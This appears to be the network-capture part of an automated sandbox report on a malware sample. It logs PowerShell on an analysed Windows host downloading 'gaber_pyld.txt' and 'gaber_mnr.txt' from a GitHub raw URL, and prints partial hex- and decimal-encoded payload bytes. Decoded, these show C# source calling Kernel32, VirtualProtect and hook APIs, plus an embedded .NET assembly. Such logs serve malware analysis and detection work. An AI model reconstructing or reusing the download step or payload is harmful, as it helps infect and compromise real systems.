2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49739	185.199.109.133	443	5980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:37 UTC	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 06:22:37 UTC	901	IN	HTTP/1.1 200 OK Connection: close Content-Length: 159293 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "80ad5dac8b21f93f5913af03c53e98e879731d41370452cf941cf04d26ae655d" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 712A:2E384B:5AF22B:65EE49:66E7CEAD Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740033-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726467758.849064,VS0,VE25 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: f21062c3eb4cab429506642c3776cc22d61bf454 Expires: Mon, 16 Sep 2024 06:27:37 GMT Source-Age: 0
2024-09-16 06:22:37 UTC	16384	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 37 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 30 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 36 41 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 Data Ascii: 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x22, 0x00, 0x29, 0x00, 0x0A, 0x00, 0x24, 0x00, 0x71, 0x00, 0x51, 0x00, 0x51, 0x00, 0x33, 0x00, 0x30, 0x00, 0x32, 0x00, 0x33, 0x00, 0x6A, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x66, 0x00, 0x6F, 0x
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 32 32 31 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 30 2c 30 2c 34 32 2c 30 2c 30 2c 30 2c 31 2c 31 36 2c 30 2c 30 2c 30 2c 30 2c 36 38 2c 30 2c 38 35 2c 31 35 33 2c 30 2c 31 35 2c 36 38 2c 30 2c 30 2c 31 2c 32 37 2c 34 38 2c 34 2c 30 2c 37 30 2c 31 2c 30 2c 30 2c 31 34 2c 30 2c 30 2c 31 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 35 36 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 31 30 2c 30 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c Data Ascii: 221,0,0,0,0,254,12,0,0,42,0,0,0,1,16,0,0,0,0,68,0,85,153,0,15,68,0,0,1,27,48,4,0,70,1,0,0,14,0,0,17,32,0,0,0,0,254,14,4,0,56,49,0,0,0,0,254,12,4,0,32,0,0,0,0,254,1,57,10,0,0,0,0,32,1,0,0,0,254,14,4,0,0,254,12,4,0,32,1,0,0,0,254,1,57,5,0,0,0,56,5,0,0,0,56,
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 30 2c 31 34 32 2c 31 30 35 2c 34 30 2c 31 36 34 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 32 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 32 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 31 31 34 2c 35 30 2c 36 2c 30 2c 31 31 32 2c 32 35 34 2c 31 34 2c 35 2c 30 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 33 37 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 33 32 2c 34 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 32 35 34 2c 31 34 Data Ascii: ,0,142,105,40,164,0,0,10,254,14,2,0,254,12,1,0,254,14,3,0,20,254,14,4,0,114,50,6,0,112,254,14,5,0,32,3,0,0,0,141,1,0,0,1,37,32,0,0,0,0,254,12,2,0,40,70,0,0,10,162,37,32,1,0,0,0,32,0,0,0,0,140,105,0,0,1,162,37,32,2,0,0,0,32,4,0,0,0,140,105,0,0,1,162,254,14
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 35 2c 30 2c 32 30 2c 31 31 34 2c 37 37 2c 31 32 2c 30 2c 31 31 32 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 35 34 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 35 34 2c 34 30 2c 35 32 2c 30 2c 30 2c 31 30 2c 34 30 2c 35 36 2c 30 2c 30 2c 36 2c 31 36 32 2c 31 36 32 2c 32 30 2c 32 30 2c 32 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 34 30 2c 31 31 37 2c 30 2c 30 2c 31 30 2c 33 38 2c 32 32 31 2c 35 35 2c 33 2c 30 2c 30 2c Data Ascii: ,5,0,20,114,77,12,0,112,32,2,0,0,0,141,1,0,0,1,37,32,1,0,0,0,32,2,0,0,0,141,1,0,0,1,37,32,0,0,0,0,126,48,0,0,4,32,2,0,0,0,154,162,37,32,1,0,0,0,126,48,0,0,4,32,3,0,0,0,154,40,52,0,0,10,40,56,0,0,6,162,162,20,20,20,32,1,0,0,0,40,117,0,0,10,38,221,55,3,0,0,
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 32 34 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 31 30 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 34 30 2c 37 38 2c 30 2c 30 2c 31 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 37 2c 34 32 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 33 2c 30 2c 32 30 2c 31 31 34 2c 31 32 2c 31 35 2c 30 2c 31 31 32 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 32 30 2c 32 30 2c 32 30 2c 34 30 2c 31 36 35 2c 30 2c 30 2c 31 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 35 36 2c 33 37 2c 30 2c 30 Data Ascii: ,0,254,12,1,0,40,21,1,0,10,58,24,0,0,0,254,12,2,0,40,21,1,0,10,58,10,0,0,0,32,0,0,0,0,56,5,0,0,0,32,1,0,0,0,140,78,0,0,1,40,21,1,0,10,57,42,0,0,0,254,12,3,0,20,114,12,15,0,112,32,0,0,0,0,141,1,0,0,1,20,20,20,40,165,0,0,10,40,70,0,0,10,254,14,3,0,56,37,0,0
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 31 2c 31 36 39 2c 32 2c 32 32 35 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 33 33 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 31 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 39 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 39 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 37 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 35 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 33 33 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 39 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 35 37 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 36 35 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 37 33 2c 31 2c 38 31 2c 32 31 2c 31 32 32 2c 33 2c 38 39 2c 31 2c 38 31 2c 32 31 Data Ascii: 1,169,2,225,0,81,21,184,2,233,0,81,21,184,2,241,0,81,21,184,2,249,0,81,21,184,2,1,1,81,21,184,2,9,1,81,21,184,2,17,1,81,21,184,2,25,1,81,21,184,2,33,1,81,21,184,2,41,1,81,21,184,2,49,1,81,21,34,0,57,1,81,21,34,0,65,1,81,21,34,0,73,1,81,21,122,3,89,1,81,21
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 31 31 36 2c 39 37 2c 31 31 30 2c 31 30 30 2c 39 37 2c 31 31 34 2c 31 30 30 2c 37 37 2c 31 31 31 2c 31 30 30 2c 31 31 37 2c 31 30 38 2c 31 30 31 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 2c 39 38 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 30 2c 37 32 2c 31 30 35 2c 31 30 30 2c 31 30 31 2c 37 37 2c 31 31 31 2c 31 30 30 2c 31 31 37 2c 31 30 38 2c 31 30 31 2c 37 38 2c 39 37 2c 31 30 39 2c 31 30 31 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 2c 39 38 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 30 2c 36 35 2c 31 31 35 2c 31 31 35 2c 31 30 31 2c 31 30 39 2c 39 38 2c 31 30 38 2c 31 32 31 2c 38 34 2c 31 31 34 2c 39 37 2c 31 30 30 2c 31 30 31 2c 31 30 39 2c 39 37 2c 31 31 34 2c 31 30 37 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 Data Ascii: ,116,97,110,100,97,114,100,77,111,100,117,108,101,65,116,116,114,105,98,117,116,101,0,72,105,100,101,77,111,100,117,108,101,78,97,109,101,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,84,114,97,100,101,109,97,114,107,65,116,116,114,105
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 30 2c 38 33 2c 31 30 31 2c 31 31 36 2c 38 37 2c 31 30 35 2c 31 31 30 2c 31 30 30 2c 31 31 31 2c 31 31 39 2c 31 31 35 2c 37 32 2c 31 31 31 2c 31 31 31 2c 31 30 37 2c 36 39 2c 31 32 30 2c 30 2c 36 37 2c 39 37 2c 31 30 38 2c 31 30 38 2c 37 38 2c 31 30 31 2c 31 32 30 2c 31 31 36 2c 37 32 2c 31 31 31 2c 31 31 31 2c 31 30 37 2c 36 39 2c 31 32 30 2c 30 2c 36 37 2c 31 30 38 2c 31 31 31 2c 31 31 35 2c 31 30 31 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 36 37 2c 31 31 34 2c 31 30 31 2c 39 37 2c 31 31 36 2c 31 30 31 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 39 35 2c 39 37 2c 31 31 32 2c 31 31 32 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 36 37 2c 31 30 34 2c 31 30 31 2c 39 39 2c 31 30 37 2c 37 Data Ascii: ,0,83,101,116,87,105,110,100,111,119,115,72,111,111,107,69,120,0,67,97,108,108,78,101,120,116,72,111,111,107,69,120,0,67,108,111,115,101,77,117,116,101,120,0,67,114,101,97,116,101,77,117,116,101,120,0,95,97,112,112,77,117,116,101,120,0,67,104,101,99,107,7
2024-09-16 06:22:38 UTC	11837	IN	Data Raw: 2c 31 38 2c 31 32 38 2c 32 31 33 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 38 2c 32 31 37 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 38 2c 32 32 31 2c 34 2c 33 32 2c 31 2c 32 38 2c 31 34 2c 35 2c 30 2c 32 2c 32 2c 31 34 2c 31 34 2c 34 2c 33 32 2c 31 2c 32 2c 31 34 2c 33 2c 33 32 2c 30 2c 32 2c 38 2c 37 2c 35 2c 32 39 2c 31 34 2c 38 2c 32 2c 32 2c 32 2c 35 2c 30 2c 32 2c 31 34 2c 31 34 2c 31 34 2c 37 2c 37 2c 33 2c 32 39 2c 35 2c 32 39 2c 35 2c 38 2c 36 2c 33 32 2c 31 2c 32 39 2c 35 2c 32 39 2c 35 2c 31 32 2c 30 2c 35 2c 31 2c 31 38 2c 31 32 38 2c 32 35 33 2c 38 2c 31 38 2c 31 32 38 2c 32 35 33 2c 38 2c 38 2c 35 2c 33 32 2c 31 2c 31 2c 32 39 2c 35 2c 36 2c 33 32 2c 31 2c 31 2c 31 37 2c 31 32 39 2c 35 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 39 2c 39 2c 38 2c 33 32 Data Ascii: ,18,128,213,5,32,0,18,128,217,5,32,0,18,128,221,4,32,1,28,14,5,0,2,2,14,14,4,32,1,2,14,3,32,0,2,8,7,5,29,14,8,2,2,2,5,0,2,14,14,14,7,7,3,29,5,29,5,8,6,32,1,29,5,29,5,12,0,5,1,18,128,253,8,18,128,253,8,8,5,32,1,1,29,5,6,32,1,1,17,129,5,5,32,0,18,129,9,8,32

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49738	185.199.109.133	443	5840	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:37 UTC	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
